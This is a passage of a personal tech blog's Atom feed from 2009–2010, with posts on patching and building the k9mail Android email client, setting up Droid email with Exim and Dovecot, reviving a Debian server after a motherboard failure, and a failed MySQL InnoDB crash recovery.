Debian'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7440827420606252559</id><published>2010-01-21T21:56:00.000-08:00</published><updated>2010-01-21T22:17:22.406-08:00</updated><title type='text'>Droid part 3: h4x0ring k9mail</title><content type='html'>I wanted to add an "Archive" button and a "Flag as Spam" button to k9mail. I'm not the first person &lt;a href="http://code.google.com/p/k9mail/issues/detail?id=3"&gt;to ask for this feature&lt;/a&gt;. Now, if you don't mind patching your copy, you can have it, too. (The patch is attached to comment #17 under the link above.)&lt;br /&gt;&lt;br /&gt;Developing on Android is remarkably easy. After I installed the SDK, I created an emulator virtual device with&lt;span style="font-family:courier new;"&gt; ./android create avd -n fake_droid -t 5 &lt;/span&gt;and launched it with &lt;span style="font-family:courier new;"&gt;./emulator -avd fake_droid&lt;/span&gt;.  &lt;a href="http://code.google.com/p/k9mail/wiki/BuildingK9"&gt;Building k9mail is &lt;/a&gt;also easy: after you check out the source from Google Code, create a file at the root of the working copy called &lt;span style="font-family:courier new;"&gt;local.properties&lt;/span&gt; and&lt;a name="To_build"&gt;&lt;span class="pln"&gt; add the property sdk-location=/path/to/android/sdk.  Now you can build it with &lt;span style="font-family:courier new;"&gt;ant debug&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;You can install the new package with&lt;span style="font-family:courier new;"&gt; ./adb -d install -r ~/path/to/k9mail-read-only/bin/K9-debug.apk&lt;/span&gt;. Change the -e to an -d to install on the device instead of the emulator. Watch for problems with &lt;span style="font-family:courier new;"&gt;./adb -d/-e &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="pln"&gt;&lt;span style="font-family:courier new;"&gt;&lt;a href="http://maddok.files.wordpress.com/2009/08/longcat.jpg"&gt;logcat&lt;/a&gt;&lt;/span&gt;. The -r performs a reinstallation, so you won't lose your settings from run to run. (That gets old fast.) You might want to set up your own IMAP server for testing; if you do, I recommend dovecot.&lt;br /&gt;&lt;br /&gt;There are a couple of gotchas. I found that if I messed around with any of the xml files in such a way that R.java (a generated file indexing certain constants) was modified, I had to run &lt;span style="font-family:courier new;"&gt;ant clean&lt;/span&gt; before ant debug to make sure that the old mapping wasn't used (if I didn't, I got buttons that said one thing and did another). I couldn't figure out how to transfer my settings from the canonical version to my hacked version, so I lost them.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7440827420606252559?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7440827420606252559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/01/droid-part-4-h4x0ring-k9mail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7440827420606252559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7440827420606252559'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/01/droid-part-4-h4x0ring-k9mail.html' title='Droid part 3: h4x0ring k9mail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1024923999017647926</id><published>2010-01-20T17:51:00.000-08:00</published><updated>2010-01-20T17:59:12.014-08:00</updated><title type='text'>Droid part 2: k9mail</title><content type='html'>Some notes on using k9mail, a feature-rich Android email client:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I run my own SMTP server for personal mail (for business mail, I use Google Apps). Until now, because I sent all email from a single machine, I had the SMTP server use IP-based relay control. Now that the Droid can connect from random WiFi networks or from random Verizon IP addresses, I couldn't do that. I switched on SMTP AUTH and TLS. &lt;a href="http://www.debian-administration.org/article/HowTo_Setup_Basic_SMTP_AUTH_in_Exim4"&gt;This guide&lt;/a&gt; shows how to do that on Debian.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Some networks, including one belonging to a certain very ancient educational institution in the eastern U.S., block port 25. (Presumably, to prevent spam.) To avoid that, I configured my SMTP server to accept traffic on an alternate port. &lt;a href="http://hackervisions.org/?p=360"&gt;This post&lt;/a&gt; shows how. Note that you have to add the option mentioned in the first comment, as far as I can tell. (Basically, edit /etc/default/exim4, setting SMTPLISTENEROPTIONS='-oX 99999:25 -oP /var/run/exim4/exim4.pid', where 99999 is the other port number.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;If you have lots of folders, use &lt;a href="http://code.google.com/p/k9mail/wiki/WorkingWithClasses"&gt;k9mail's class system&lt;/a&gt; to filter out the ones you don't want to see/check.&lt;/li&gt;&lt;li&gt;Dovecot supports IMAP IDLE, so you might as well turn on PUSH mail. (I have yet to see how fast/power-hungry this is.)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1024923999017647926?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1024923999017647926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/01/droid-part-2-k9mail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1024923999017647926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1024923999017647926'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/01/droid-part-2-k9mail.html' title='Droid part 2: k9mail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-5308460188394651674</id><published>2010-01-18T02:13:00.000-08:00</published><updated>2010-01-18T15:35:15.820-08:00</updated><title type='text'>Six hours with the Droid</title><content type='html'>My Motorola Maxx Ve stopped working roughly two weeks after I hit the Verizon New Every Two threshhold (cleverly positioned four months before my contract renewal). I went to the local Verizon store to decide between limping along with a dumb phone (which has been fine for me for the past six years) or upgrading to one of those newfangled smartphones.&lt;br /&gt;&lt;br /&gt;After learning that the full retail price (what I would pay if I didn't want to renew my contract) of the dumbest dumb phone was about $150, I decided to buy the Motorola Droid, which came out to $212 (supposedly $99, after a mail-in rebate which I hope will not be the scam that mail-in rebates have often been for me, and actually $112, because Verizon won't send you credit for the tax that you paid at the purchase on the $99 that they will supposedly send as a rebate.)&lt;br /&gt;&lt;br /&gt;I'm paying an extra $30/mo. for data, but I can hopefully drop the $10/mo. that I'm paying for 500 texts (99% of which are sysadmin-related) and switch to email, so I can stop worrying about text overages (last month, the systems I administer sent me &gt;800 text messages).&lt;br /&gt;&lt;br /&gt;Some first impressions:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The phone is really cool. L. really liked it.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The Verizon people kindly uploaded my contacts from my old phone, but they promptly vanished when I entered my Google Account information. Strangely, the phone still &lt;span style="font-style: italic;"&gt;knew&lt;/span&gt; about them -- L.'s name came up when she called -- but they weren't on the list. &lt;a href="http://forums.verizon.com/t5/Android-Devices/Droid-Lost-my-contacts/td-p/128830"&gt;This thread&lt;/a&gt; contains the fix: press the hardware "home" button, "phone", "contacts", the hardware "context menu" button, "import/export", "import from SD card". That saved me a trip back to the store. But now Google has all of my phone numbers. YOU WILL BE ASSIMILATED!&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The Google Directions/GPS navigation feature lacks the "avoid tolls" feature of the PC version. Google &lt;a href="http://www.google.com/support/forum/p/Google+Mobile/thread?tid=1f814b1b25a9b5da&amp;amp;hl=en"&gt;suggests&lt;/a&gt; that users vote for that feature. I asked the device to route me from South Station to my home in Cambridge; it suggested taking the turnpike. I took I-93 to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Storrow&lt;/span&gt; Drive instead. I sort-of expected it to dynamically update my route with the new information, but it didn't. &lt;/li&gt;&lt;li&gt;The keyboard is fiddly but I'm getting used to it. Lack of meta/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;ctrl&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;esc&lt;/span&gt; may be a big problem.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;ConnectBot&lt;/span&gt; looks really cool. I was able to open Mutt and read mail. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;ConnectBot&lt;/span&gt; even implemented "control" as a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;DPAD&lt;/span&gt; click and escape as a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;DPAD&lt;/span&gt; double-click. That just leaves meta...although one can use Control in a pinch.&lt;/li&gt;&lt;li&gt;It's not obvious how to get your newly-generated public key out of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;ConnectBot&lt;/span&gt;. The &lt;a href="http://code.google.com/p/connectbot/wiki/FrequentlyAskedQuestions"&gt;trick&lt;/a&gt; is to long-press the key, from which you can copy it, then use "menu" in an SSH session to paste it.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Why is there no &lt;a href="http://xkcd.com/479/"&gt;normal-sounding &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;ringtone&lt;/span&gt;&lt;/a&gt;? Come on. &lt;/li&gt;&lt;li&gt;I started adding things to my calendar. One problem: the old phone, in addition to not holding a charge, had only two working buttons: off/on, and volume up/down. I used &lt;a href="http://jbarillari.blogspot.com/2009/06/dragging-data-kicking-and-screaming-out.html"&gt;this post&lt;/a&gt; to pull the data out, but I never did decode the date format. I just ran &lt;span style="font-family:courier new;"&gt;strings&lt;/span&gt; on the calendar data file and figured out &lt;span style="font-style: italic;"&gt;what&lt;/span&gt; events I have scheduled, but I'll have to use an out-of-band method to figure out &lt;span style="font-style: italic;"&gt;when&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Update, after 24 hours&lt;/span&gt;: There is no analogue to Gmail's "Show quoted text". If Gmail elides a piece of your message because, there is &lt;a href="http://code.google.com/p/android/issues/detail?id=1494"&gt;no way&lt;/a&gt; to see it on the Droid, short of also adding the Gmail account as an IMAP account and looking for it.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Things I would like. Maybe I'll even write them:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A simple "monitor" application that periodically fetches a URL and emits a really loud alarm if the page fails to match certain conditions.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A "pedometer/diary" app that notes my GPS position every 5-10 minutes or so; more frequently if the last fix indicated that I was moving. Maybe it would even support voice annotation.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;An app that recognizes arbitrary &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;barcodes&lt;/span&gt;. The ones I've tried didn't recognize the codes on the various manuals in the Droid package. &lt;/li&gt;&lt;li&gt;A push-to-talk application with message queuing and an &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_10"&gt;adjustable&lt;/span&gt; upper bound  defaulting to :15 seconds. (&lt;a href="http://hit-mob.com/walkie-talkie-push-to-talk/"&gt;Here's one&lt;/a&gt;.)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-5308460188394651674?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/5308460188394651674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/01/six-hours-with-droid.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5308460188394651674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5308460188394651674'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/01/six-hours-with-droid.html' title='Six hours with the Droid'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7230166738909249512</id><published>2010-01-10T18:11:00.000-08:00</published><updated>2010-01-10T20:28:11.841-08:00</updated><title type='text'>Why you should never own a computer, part 598</title><content type='html'>&lt;ol&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;NSTAR&lt;/span&gt; has some sort of power outage. My lights go off for a few minutes. L. asks if my computer will be OK. Of course, I say, it will reboot automatically. Sure enough, when the lights come back on, its power light comes back on.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Later that evening, I try to log in to check my mail. But I'm getting "no route to host." Odd, did it forget its static &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;IP&lt;/span&gt;? I turn on the monitor. "Check signal cable." I press a few buttons on the keyboard. Nothing. Reboot. Nothing. The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;num&lt;/span&gt;-lock light doesn't toggle when I press "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;num&lt;/span&gt; lock", which suggests that the motherboard is blown. But I'm using a funky &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;USB&lt;/span&gt; keyboard. I try a PS/2 keyboard. Nothing. I try plugging the monitor into my laptop to see if it's a signal cable problem. Nothing. The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;mobo&lt;/span&gt; is probably blown.&lt;/li&gt;&lt;li&gt;Fortunately, I have a second computer with &lt;span style="font-style: italic;"&gt;better&lt;/span&gt; specs gathering dust. I pull the hard disks from PC #1 and put them in PC #2. PC #1 was &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;ATA&lt;/span&gt;-only, PC #2 had &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;SATA&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;ATA&lt;/span&gt;. I plug the two &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;ATA&lt;/span&gt; disks into the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;ATA&lt;/span&gt; port. I no longer remember which one had the boot volume. I guess the smaller one and make it the master and make the larger one the slave. I boot.&lt;/li&gt;&lt;li&gt;The boot sequence stops just before GRUB would normally load. Oops. Are the hard disks fried, too?&lt;/li&gt;&lt;li&gt;I plug in the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;SATA&lt;/span&gt; drive and boot from that, successfully. I mount the two hard disks without incident. I apparently had the boot volume wrong: it was on the larger disk. Ah, no wonder. Maybe it only tries to boot from the master. I shut down, unplug the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;SATA&lt;/span&gt;, and plug in just the larger drive as the master. No slave. GRUB loads. Good.&lt;/li&gt;&lt;li&gt;I swap the drives' positions (cable geometry prevents me from simply exchanging the connectors) and make the larger drive the master and the smaller drive the slave. But when I boot, the boot sequence still sticks before GRUB.&lt;/li&gt;&lt;li&gt;Disconnect the slave. Boot works.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Bizarre. I have no idea why this is happening. Fortunately, I have an &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;ATA&lt;/span&gt; card in the old machine. I plug that in, and connect the slave to it. GRUB loads.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Now, the boot sequence halts on "unknown &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;USB&lt;/span&gt; device." That's odd. I disconnect the keyboard and reboot. As I suspected, that was just the &lt;span style="font-style: italic;"&gt;last&lt;/span&gt; error message. The actual error message that signalled the halt was that the system was waiting for the root device. For reasons I do not fully understand, the root device was &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;hda&lt;/span&gt;1 on the old machine and is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;sda&lt;/span&gt;1 on this machine. The next time Grub loaded, I hit 'e' to edit the command line and changed root=/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;hda&lt;/span&gt;1 to root=/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;sda&lt;/span&gt;1.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Now the system booted, but halted with a complaint about being unable to run &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;fsck&lt;/span&gt;. Probably had something to do with all of the /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;fstab&lt;/span&gt; entries being wrong. It asked me to enter the root password, which I thought I knew but apparently did not. I hit Control-D to skip it, wondering if it would mount / read-only and make it impossible for me to change the password without booting from CD. (I went looking for one, without success.) Fortunately, it mounted root read-write, so I changed the password, changed all entries in /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;fstab&lt;/span&gt; from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;sda&lt;/span&gt; to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;hda&lt;/span&gt; (and from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;sdc&lt;/span&gt; to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;hde&lt;/span&gt;, for the second drive. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;dmesg&lt;/span&gt; had indicated that it was &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;hde&lt;/span&gt;.) I also did the same with /boot/grub/menu.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;lst&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;When I ran grub-install, grub complained that it didn't recognize /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;hda&lt;/span&gt;. I had forgotten to update /boot/grub/device.map, which I then changed from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;sda&lt;/span&gt; to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;hda&lt;/span&gt;. Now, grub-install actually worked.&lt;/li&gt;&lt;li&gt;Reboot again. Now, I &lt;span style="font-style: italic;"&gt;still &lt;/span&gt;can't ssh into the machine. What the heck? I checked &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;dmesg&lt;/span&gt; and saw "&lt;span style="font-family:courier new;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;udev&lt;/span&gt;: renamed network interface &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;eth&lt;/span&gt;0 to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;eth&lt;/span&gt;2&lt;/span&gt;". I have no idea why &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;udev&lt;/span&gt; was randomly renaming network devices, but I went along with it. I edited /etc/network/interfaces and changed &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;eth&lt;/span&gt;0 to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;eth&lt;/span&gt;2. After running /etc/init.d/networking restart a few times, the interface actually came up.&lt;/li&gt;&lt;/ol&gt;The short moral of the story is to buy a UPS, or, failing that, have replacements for everything. The real moral of the story is to &lt;a href="http://www.linode.com/index.cfm"&gt;get someone else to handle your hardware.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7230166738909249512?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7230166738909249512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/01/why-you-shouldnt-be-sysadmin-part-500.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7230166738909249512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7230166738909249512'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/01/why-you-shouldnt-be-sysadmin-part-500.html' title='Why you should never own a computer, part 598'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2939728855682683890</id><published>2009-11-30T18:32:00.000-08:00</published><updated>2009-11-30T18:36:16.232-08:00</updated><title type='text'>We *are* living in the future</title><content type='html'>I just bought a 1.5TB hard disk for $99. (It was a Seagate Barracuda from MicroCenter in Cambridge; I bought it on Black Friday*.)&lt;br /&gt;&lt;br /&gt;I still remember when hard disks were over $1 a &lt;span style="font-style: italic;"&gt;megabyte&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* I understand why "Black Friday" is called "Black Friday." Retailers are "in the black". But why are the days of stock-market crashes also called "black"? Wouldn't "red" be more appropriate? C.f. &lt;a href="http://en.wikipedia.org/wiki/Black_Monday_%281987%29"&gt;Black Monday&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Black_Tuesday"&gt;Black Tuesday&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2939728855682683890?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2939728855682683890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/11/we-are-living-in-future.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2939728855682683890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2939728855682683890'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/11/we-are-living-in-future.html' title='We *are* living in the future'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4531121609254822872</id><published>2009-11-28T21:07:00.001-08:00</published><updated>2010-01-18T03:26:33.845-08:00</updated><title type='text'>A problem with no solution</title><content type='html'>MySQL has recovered without a hiccup from every crash I've thrown at it, until this Thanksgiving when I started a long-running process and inadvertently knocked my laptop's power cord out of its socket before I went to bed. When I woke up, the computer was off, and the database refused to start. The error message was something I hope never to see on a production system:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;091128 22:56:37  InnoDB: Database was not shut down normally!&lt;br /&gt;InnoDB: Starting crash recovery.&lt;br /&gt;InnoDB: Reading tablespace information from the .ibd files...&lt;br /&gt;InnoDB: Restoring possible half-written data pages from the doublewrite&lt;br /&gt;InnoDB: buffer...&lt;br /&gt;InnoDB: Doing recovery: scanned up to log sequence number 21 3049941951&lt;br /&gt;InnoDB: 1 transaction(s) which must be rolled back or cleaned up&lt;br /&gt;InnoDB: in total 892204 row operations to undo&lt;br /&gt;InnoDB: Trx id counter is 0 705024&lt;br /&gt;091128 22:56:38  InnoDB: Starting an apply batch of log records to the database...&lt;br /&gt;InnoDB: Progress in percents: 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 InnoDB: Database page corruption on disk or a failed&lt;br /&gt;InnoDB: file read of page 1472705.&lt;br /&gt;InnoDB: You may have to recover from a backup.&lt;br /&gt;091128 22:56:38  InnoDB: Page dump in ascii and hex (16384 bytes):&lt;br /&gt;len 16384; hex (page dump snipped for brevity)&lt;br /&gt;091128 22:56:38  InnoDB: Page checksum 125329116, prior-to-4.0.14-form checksum 707139577&lt;br /&gt;InnoDB: stored checksum 431743609, prior-to-4.0.14-form stored checksum 742971059&lt;br /&gt;InnoDB: Page lsn 21 3049098859, low 4 bytes of lsn at page end 3049675044&lt;br /&gt;InnoDB: Page number (if stored to page already) 1472705,&lt;br /&gt;InnoDB: space id (if created with &gt;= MySQL-4.1.1 and stored already) 0&lt;br /&gt;InnoDB: Page may be an index page where index id is 0 636&lt;br /&gt;InnoDB: Database page corruption on disk or a failed&lt;br /&gt;InnoDB: Database page corruption on disk or a failed&lt;br /&gt;InnoDB: file read of page 1472705.&lt;br /&gt;InnoDB: You may have to recover from a backup.&lt;br /&gt;InnoDB: It is also possible that your operating&lt;br /&gt;InnoDB: system has corrupted its own file cache&lt;br /&gt;InnoDB: and rebooting your computer removes the&lt;br /&gt;InnoDB: error.&lt;br /&gt;InnoDB: If the corrupt page is an index page&lt;br /&gt;InnoDB: you can also try to fix the corruption&lt;br /&gt;InnoDB: by dumping, dropping, and reimporting&lt;br /&gt;InnoDB: the corrupt table. You can use CHECK&lt;br /&gt;InnoDB: TABLE to scan your table for corruption.&lt;br /&gt;InnoDB: See also http://dev.mysql.com/doc/refman/5.1/en/forcing-recovery.html&lt;br /&gt;InnoDB: about forcing recovery.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now, that was &lt;span style="font-style: italic;"&gt;bad&lt;/span&gt;, but it wasn't a total disaster. I thought I'd just set innodb-force-recovery and drop the tables that the process had been editing. (The process was reading a very large log table and to turn it into a summary table.) Except that what followed foreclosed that possibility:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;091128 22:56:38 - mysqld got signal 11 ;&lt;br /&gt;This could be because you hit a bug. It is also possible that this binary&lt;br /&gt;or one of the libraries it was linked against is corrupt, improperly built,&lt;br /&gt;or misconfigured. This error can also be caused by malfunctioning hardware.&lt;br /&gt;We will try our best to scrape up some info that will hopefully help diagnose&lt;br /&gt;the problem, but since we have already crashed, something is definitely wrong&lt;br /&gt;and this may fail.&lt;br /&gt;&lt;br /&gt;key_buffer_size=8384512&lt;br /&gt;read_buffer_size=131072&lt;br /&gt;max_used_connections=0&lt;br /&gt;max_threads=151&lt;br /&gt;threads_connected=0&lt;br /&gt;It is possible that mysqld could use up to&lt;br /&gt;key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 337721 K&lt;br /&gt;bytes of memory&lt;br /&gt;Hope that's ok; if not, decrease some variables in the equation.&lt;br /&gt;&lt;br /&gt;thd: 0x0&lt;br /&gt;Attempting backtrace. You can use the following information to find out&lt;br /&gt;where mysqld died. If you see no messages after this, something went&lt;br /&gt;terribly wrong...&lt;br /&gt;stack_bottom = (nil) thread_stack 0x20000&lt;br /&gt;libexec/mysqld(my_print_stacktrace+0x21)[0x84f1691]&lt;br /&gt;libexec/mysqld(handle_segfault+0x381)[0x81edbc1]&lt;br /&gt;[0xb7f26400]&lt;br /&gt;libexec/mysqld(page_cur_parse_insert_rec+0x48b)[0x842522b]&lt;br /&gt;libexec/mysqld[0x8412ca5]&lt;br /&gt;libexec/mysqld(recv_recover_page+0x44b)[0x84148db]&lt;br /&gt;libexec/mysqld(buf_page_io_complete+0x5e1)[0x83d5761]&lt;br /&gt;libexec/mysqld(fil_aio_wait+0xde)[0x83eccde]&lt;br /&gt;libexec/mysqld[0x84527b8]&lt;br /&gt;/lib/i686/cmov/libpthread.so.0[0xb7ef87f5]&lt;br /&gt;/lib/i686/cmov/libc.so.6(clone+0x5e)[0xb7df105e]&lt;br /&gt;The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains&lt;br /&gt;information that should help you find out what is causing the crash.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I updated to the latest stable MySQL from mysql.com, built it with &lt;code&gt;&lt;br /&gt;CC=gcc CFLAGS="-O2 -g" CXX=gcc CXXFLAGS="-O2 -g -felide-constructors     -fno-exceptions -fno-rtti" ./configure --prefix=/usr/local/mysql     --with-debug=full --with-extra-charsets=complex  --with-plugins=innobase &amp;amp;&amp;amp; make&lt;br /&gt;&lt;/code&gt;, and ran it, to no avail.&lt;br /&gt;&lt;br /&gt;As a postmortem, I 